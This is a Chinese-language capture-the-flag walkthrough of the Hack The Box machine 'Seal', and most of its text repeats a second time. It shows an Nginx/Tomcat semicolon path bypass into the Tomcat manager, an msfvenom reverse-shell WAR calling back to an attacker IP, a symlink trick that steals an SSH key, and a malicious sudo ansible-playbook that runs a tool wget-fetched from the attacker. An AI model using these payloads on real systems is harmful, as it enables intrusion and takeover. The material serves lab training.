[Meachines] [Medium] Seal Nginx-tomcat-Misconfig+ln+TRP00F+ansible-playbook+SKBD
字数 1335 2025-08-29 22:41:38

Nginx-Tomcat 配置错误漏洞利用与权限提升完整指南

1. 信息收集阶段

1.1 初始扫描

目标IP: 10.10.10.250
开放端口:

  • 22/tcp - OpenSSH 8.2p1 (Ubuntu)
  • 443/tcp - nginx 1.18.0 (Ubuntu)
  • 8080/tcp - http-proxy (Tomcat)

SSL证书信息:

commonName=seal.htb
organizationName=Seal Pvt Ltd
stateOrProvinceName=London
countryName=UK
有效期: 2021-05-05 至 2022-05-05

1.2 服务识别

  • 8080端口: Tomcat服务,需要认证(401 Unauthorized)
  • 443端口: Nginx服务,返回400错误(HTTP请求发送到HTTPS端口)

2. 漏洞发现与利用

2.1 GitBucket配置泄露

访问: http://10.10.10.250:8080/signin;jsessionid=node01a58x8lkg5rxz7li3qedmuhh137.node0?redirect=%2F

发现GitBucket仓库中的敏感信息:

  • 用户凭证: tomcat:42MrHBf*z8{Z%
  • 配置文件: http://10.10.10.250:8080/root/seal_market/blob/master/nginx/sites-enabled/default

2.2 Nginx-Tomcat路径处理不当漏洞

漏洞原理:

  1. Nginx配置将请求代理到本地的8000端口
  2. Nginx保留URL中的分号(;)及其后参数
  3. Tomcat将分号后的内容视为"路径参数",不作为实际路径的一部分

示例:

http://127.0.0.1:8000/test;tttt/aaad
Tomcat实际解析为: http://127.0.0.1:8000/test/aaad

2.3 漏洞利用步骤

  1. 访问Tomcat管理界面:

    https://10.10.10.250/;fuck/manager/html
    
  2. 生成反向shell war文件:

    msfvenom -p java/shell_reverse_tcp lhost=10.10.16.15 lport=443 -f war -o shell.war
    
  3. 上传war文件:

    /manager/.;/html/upload?org.apache.catalina.filters.CSRF_NONCE=4B107F08CB2ABE4C1BF1912236D0141C
    
  4. 执行shell:

    curl https://10.10.10.250/;aaa/shell/
    

3. 权限提升阶段

3.1 从Tomcat到用户luis

发现Ansible playbook存在符号链接漏洞:

ln -s /home/luis/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/hacked

获取luis用户的SSH私钥:

cat /tmp/dashboard/uploads/hacked/.ssh/id_rsa

获取用户flag:

2a141da309192304f7a66987be277f1b

3.2 使用TRP00F工具

项目地址: https://github.com/MartinxMax/trp00f

3.3 使用Ansible-playbook和SKBD提权

  1. 检查sudo权限:

    sudo -l
    
  2. 创建恶意playbook文件(maptnh.yml):

    - hosts: localhost
      tasks:
      - name: map
        shell: bash -c '/tmp/skbd.sh -e "https://10.10.16.15:9191"'
    
  3. 下载并执行SKBD工具:

    wget http://10.10.16.15:9919/skbd.sh;chmod +x skbd.sh
    sudo /usr/bin/ansible-playbook maptnh.yml
    
  4. SKBD交互:

    SKBD # info
    SKBD # use 1
    SKBD[8e7b2e7692df48faa4e42d6cfc791ed2]# show
    SKBD[8e7b2e7692df48faa4e42d6cfc791ed2]# run
    SKBD[8e7b2e7692df48faa4e42d6cfc791ed2]# set user luis
    SKBD[8e7b2e7692df48faa4e42d6cfc791ed2]# run
    

获取root flag:

b68b96c9181b1160397344db3010b66a

4. 关键工具与资源

  1. SKBD项目: https://github.com/MartinxMax/skbd
  2. TRP00F项目: https://github.com/MartinxMax/trp00f
  3. Ansible调试参考: https://serverfault.com/questions/537060/how-to-see-stdout-of-ansible-commands

5. 总结

本渗透测试过程展示了如何利用Nginx-Tomcat配置不当漏洞获取初始访问权限,然后通过符号链接漏洞和Ansible playbook提权获取系统完全控制权。关键点包括:

  1. 识别和利用路径解析不一致漏洞
  2. 利用GitBucket泄露的凭证
  3. 使用符号链接攻击横向移动
  4. 滥用Ansible playbook执行权限进行特权提升
Nginx-Tomcat 配置错误漏洞利用与权限提升完整指南 1. 信息收集阶段 1.1 初始扫描 目标IP: 10.10.10.250 开放端口: 22/tcp - OpenSSH 8.2p1 (Ubuntu) 443/tcp - nginx 1.18.0 (Ubuntu) 8080/tcp - http-proxy (Tomcat) SSL证书信息: 1.2 服务识别 8080端口 : Tomcat服务,需要认证(401 Unauthorized) 443端口 : Nginx服务,返回400错误(HTTP请求发送到HTTPS端口) 2. 漏洞发现与利用 2.1 GitBucket配置泄露 访问: http://10.10.10.250:8080/signin;jsessionid=node01a58x8lkg5rxz7li3qedmuhh137.node0?redirect=%2F 发现GitBucket仓库中的敏感信息: 用户凭证: tomcat:42MrHBf*z8{Z% 配置文件: http://10.10.10.250:8080/root/seal_market/blob/master/nginx/sites-enabled/default 2.2 Nginx-Tomcat路径处理不当漏洞 漏洞原理 : Nginx配置将请求代理到本地的8000端口 Nginx保留URL中的分号(;)及其后参数 Tomcat将分号后的内容视为"路径参数",不作为实际路径的一部分 示例 : 2.3 漏洞利用步骤 访问Tomcat管理界面 : 生成反向shell war文件 : 上传war文件 : 执行shell : 3. 权限提升阶段 3.1 从Tomcat到用户luis 发现Ansible playbook存在符号链接漏洞: 获取luis用户的SSH私钥: 获取用户flag: 3.2 使用TRP00F工具 项目地址: https://github.com/MartinxMax/trp00f 3.3 使用Ansible-playbook和SKBD提权 检查sudo权限 : 创建恶意playbook文件(maptnh.yml) : 下载并执行SKBD工具 : SKBD交互 : 获取root flag: 4. 关键工具与资源 SKBD项目 : https://github.com/MartinxMax/skbd TRP00F项目 : https://github.com/MartinxMax/trp00f Ansible调试参考 : https://serverfault.com/questions/537060/how-to-see-stdout-of-ansible-commands 5. 总结 本渗透测试过程展示了如何利用Nginx-Tomcat配置不当漏洞获取初始访问权限,然后通过符号链接漏洞和Ansible playbook提权获取系统完全控制权。关键点包括: 识别和利用路径解析不一致漏洞 利用GitBucket泄露的凭证 使用符号链接攻击横向移动 滥用Ansible playbook执行权限进行特权提升